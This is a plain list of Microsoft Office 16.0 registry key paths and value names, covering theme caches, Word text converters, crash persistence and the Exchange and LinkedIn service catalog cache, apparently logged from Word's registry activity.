HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM03457485

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033927

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\WordDocParts\1033

TM03998159

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LCCache\Themes\1033

TM04033937

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Name

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Path

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Extensions

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Name

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Path

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Extensions

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Name

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Path

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Word\Text Converters\Import

Extensions

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Reading Locations\Document 0

Datetime

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Reading Locations\Document 0

Position

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\2156

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\3856

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency\StartupItems

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog

LastRequest

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog

CacheReady

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog

ForceCacheRefresh

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog

OnceSucceeded

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog

LastUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog

NextUpdate

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

AuthBootStrapperUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

Policy

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA

Target

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA\AuthTrustedDomains\outlook-sdf.live.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA\AuthTrustedDomains\outlook-sdf.office.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA\AuthTrustedDomains\outlook.live.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA\AuthTrustedDomains\outlook.office.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_MSA\AuthTrustedDomains\outlook.office365.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

AuthBootStrapperUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID\AuthTrustedDomains\attachment-sdf.office.net

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID\AuthTrustedDomains\outlook-sdf.office.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID\AuthTrustedDomains\outlook.live.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID\AuthTrustedDomains\outlook.office.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_EXCHANGE_ORGID\AuthTrustedDomains\outlook.office365.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

Height

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

Width

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

AuthScope

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

AuthorizationUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

Policy

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

Provider

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA

Target

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA\AuthTrustedDomains\login.live.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA\Thumbnails

Url20x20

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA\Thumbnails

Url24x24

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA\Thumbnails

Url40x40

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_MSA\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

Width

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

AuthScope

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

AuthorizationUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

Provider

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID

TokenIssuanceUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID\AuthTrustedDomains\login.microsoftonline.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID\Thumbnails

Url24x24

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID\Thumbnails

Url40x40

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_2WAY_ORGID\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

Height

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

Width

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

AuthScope

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

AuthorizationUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

Policy

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

Provider

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA

Target

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA\AuthTrustedDomains\login.live.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA\Thumbnails

Url20x20

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA\Thumbnails

Url24x24

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA\Thumbnails

Url40x40

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_MSA\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

AuthScope

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

AuthorizationUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

Provider

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID

TokenIssuanceUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID\AuthTrustedDomains\login.microsoftonline.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID\Thumbnails

Url20x20

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID\Thumbnails

Url24x24

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID\Thumbnails

Url32x32

